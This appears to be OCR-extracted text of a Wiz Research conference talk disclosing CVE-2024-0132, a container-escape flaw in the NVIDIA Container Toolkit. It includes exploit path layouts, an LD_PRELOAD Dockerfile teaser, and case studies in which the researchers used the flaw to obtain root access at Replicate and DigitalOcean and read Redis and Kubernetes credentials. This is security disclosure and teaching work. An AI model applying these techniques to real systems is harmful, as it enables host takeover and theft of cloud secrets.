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Al Infrastructure 101




How do | run Al?
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 The one common factor between all Al providers
 What interfaces do they expose to developers?

* What's the potential attack surface?



PP GPUSs!

NVIDIA Corporation
©

Verified

A2 17.7k followers @ 2788 San Tomas Expressway, Sant... & https://nvidia.com

() Overview LJ Repositories 583 {3 Projects 8 @ Packages A People 101




NVIDIA Container Toolkit

What is it, and how we hacked it




NCT 101 <3

* Container runtime library

* Developed by NVIDIA

Comaier * Enables Linux containers to access

NVIDIA GPUs




NCT 102 <X

(&) coker

invokes

e . . executes startContainer hook
nvidia-container-runtime % @ runc
initializes
A4
@ nvidia-container-runtime-hook

modifies
(I oo




Interesting mounts

L N )
$ mount

[...]
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-ml.s0.570.133.20 type xfs

/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/1libnvidia-cfg.s0.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libcuda.s0.570.133.20 type xfs

/dev/nvme@nlpl /usr/1ib/x86_64-1inux-gnu/1libcudadebugger.so.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-opencl.so0.570.133.20 type xfs
/dev/nvme@nlpl /usr/1ib/x86_64-1i1nux-gnu/libnvidia-gpucomp.s0.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-ptxjitcompiler.so0.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-allocator.s0.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-pkcsll.s0.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-pkcsll-openssl3.50.570.133.20 type xfs
/dev/nvmeOnlpl /usr/1ib/x86_64-1inux-gnu/libnvidia-nvvm.s0.570.133.20 type xfs

[..]
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Bind mounts inside the container

root@host# cat /var/log/nvidia-container-toolkit. log

[nvc_mount.c:134] mounting
/var/lib/docker/overlay2/{ID}/merged/usr/local/cuda-12.3/compat/libnvidia-nvvm.s0.545.23.08
at
/var/lib/docker/overlay2/{ID}/merged/usr/1ib/x86_64-1inux-gnu/libnvidia-nvvm.s0.545.23.08




What's next?

* Trick NVIDIA Container Toolkit into mounting the

host file system inside the container

 Create a specially crafted docker image
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root@host# docker run -it --rm --gpus all wiz-naive bash

nvidia-container-cli: container error:
/usr/local/cuda-12.3/compat/libnvidia-wiz.so.1

/var/lib/docker/overlay2/{ID}/merged




Fact-checking

®* Libraries from /compat/lib*.s0.* are mounted to the same filenames
in /usr/lib/x86_64-linux-gnu/
®* Symbolic links are normalized before calling mount()

® Thereis a security control that prevents us from mounting paths

outside the container’s root



Goal

Bypass the security control and mount the host

filesystem inside the container.
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TOCTOU vulnerability

Time of check: The security control in do_path_resolve() is run

once per path, before any mount() is called

Time of use: mount() calls can make changes the file system

structure, potentially invalidating the security assertions.
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Jusr/local/cuda/compat/ [ lusr/lib/x86_64-linux-gnu/

libnvidia-ml.so.7 libnvidia-ml.s0.6
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Jusr/local/cuda/compat/ = lust/lib/x86_64-linux-gnu/
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Final exploit

-p /usr/local/cuda/compat/
-p /usr/1ib/x86_64-1inux-gnu

-p /usr/local/cuda/compat/libnvidia-ml.so0.6/

/usr/local/cuda/compat/libnvidia-ml.so.7

../../../usr/local/cuda/compat /usr/lib/x86_64-1inux-gnu/libnvidia-ml.so0.6

oSS S S S /.. Jusr/local/cuda/compat/Llibnvidia-ml.so.6/1libnvidia-ml.so.7




The vulnerability in a nutshell

* Critical container escape vulnerability
* Mount host filesystem into the container

* If you control the container image - you win



The dream vulnerability

* One vulnerability affecting the entire cloud ecosystem
* How does each vendor handle a brand new 0-day?

* Let's dive into two different case studies



Case study #1

Replicate




Replicate
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Popular models

o

bytedance [ sdxl-lightning-
step

SDXL-Lightning by ByteDance: a fast text-
to-image model that makes high-quality
images in 4 steps

Updated 2 months, 2 weeks ago & 972.6M runs

openai/whisper
Convert speech in audio to text
Updated 6 months, 1 week ago 27 91M runs

xinntao [ gfpgan

Practical face restoration algorithm for *old
photos* or *Al-generated faces*
Updated 2 years, 8 months ago &7 30.7M runs

Explore Pricing Docs Blog Changelog

8b51-labs [ background-
remover

Remove backgrounds from images.
Updated 5 months, 2 weeks ago 27 2.9M runs

salesforce [ blip

Generate image captions
Updated 2 years, 2 months ago & 165.5M runs

bytedance [ hyper-flux-8step

Hyper FLUX 8-step by ByteDance
Updated 2 months, 2 weeks ago 27 13M runs




What'sa “Cog”?
cog Public ® Watch 68 ~

g =

Cog: Containers for machine learning

Cog is an open-source tool that lets you package machine learning models in a standard, production-ready
container.

You can deploy your packaged model to your own infrastructure, or to Replicate.






$ cog predict --RCE

Prediction
Input Output
Form JSON Node.js Python Elixir HTTP Cog Preview JSON
cmd
id uid=0(root) gid=0(root) groups=0(root)

Generated in

8.5 milliseconds



What's next?

 We have access to the host filesystem
 Let's scan it for interesting files!

* First stop: /proc




Hello Redis my old friend

--redis-url=rediss://: PASSWORD )@predictions-queue-blue-redis-master.svc.internal.us.c.replicate.net:6378/0




I've come to talk with you again
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I've come to talk with you again
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Potential impact
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Plot twist

Your account has been temporarily disabled

To re-enable your account, please contact us.
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Case study #2

DigitalOcean




DigitalOcean Paperspace

9 DigitalOcean Products Resources Pricing We're hiring!

Say hello to

Deployments.

Deployments make model inference simple and scalable.

Select Model Choose Runtime Serve Model

1 Select an existing model or Choose from your preferred O 3 Set instance, types,
upload a new model from runtime eg TensorFlow autoscaling behavior, and
the interface or CLI. Serving, Flask, etc. other parameters. Click

deploy!




What's next?

* We have access to the Node's filesystem
 Let's scan it for interesting files!

« Do we have K8s credentials? **




root@do# ls -la /usr/1ib/x86_64-1inux-gnu/libnvidia-ml.so.7/etc/kubernetes/ssl

total 36

o

0/

kube-ca.pem
kube-node-key.pem
kube-node.pem
kube-proxy-key.pem
kube-proxy.pem
kubecfg-kube-node.yaml
kubecfg-kube-proxy.yaml

e i TG S R S S




$ kubectl get nodes | wc -1
727

$ kubectl get pod/8e43a5d88dd9238830b44bc0c335d088a-5656ff6d34-hjrxd

andresriancho/testos-container

: gradient-container-registry-2a407bec-9680-450a-acd7-609bf010274a

$ kubectl get secret/gradient-container-registry-2a407bec-9680-450a-acd7-609bf010274a

eyJ q" i » N ="} . [ ) -'.-L.._l'~:ll (B II:IIII -l.“"‘-.l:_.- lrII.IIIﬁ .'.IZYTJ
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Let's sum things up “=




Responsible disclosure

* Allissues have been reported to respective vendors
* NVIDIA assigned CVE-2024-0132
* Fixed at version 1.16.2
* Collaborated with security teams of NVIDIA, Replicate,

and DigitalOcean to fix the issues



Takeaways

® Alintroduces a new software stack, with new attack vectors

® Inference servers, training frameworks, vector databases, GPU drivers..

* Al security is infrastructure security

® Keep your critical dependencies up-to-date

®* Containers should not be a sole security barrier

® Can be broken using misconfigurations and logical vulnerabilities

® Utilize virtualization-based barriers and safe container technologies (i.e. gVisor)



On the next episode of Wiz Research...

CVE-2025-23266

FROM busybox

ENV LD_PRELOAD=/proc/self/cwd/poc.so
ADD poc.so /
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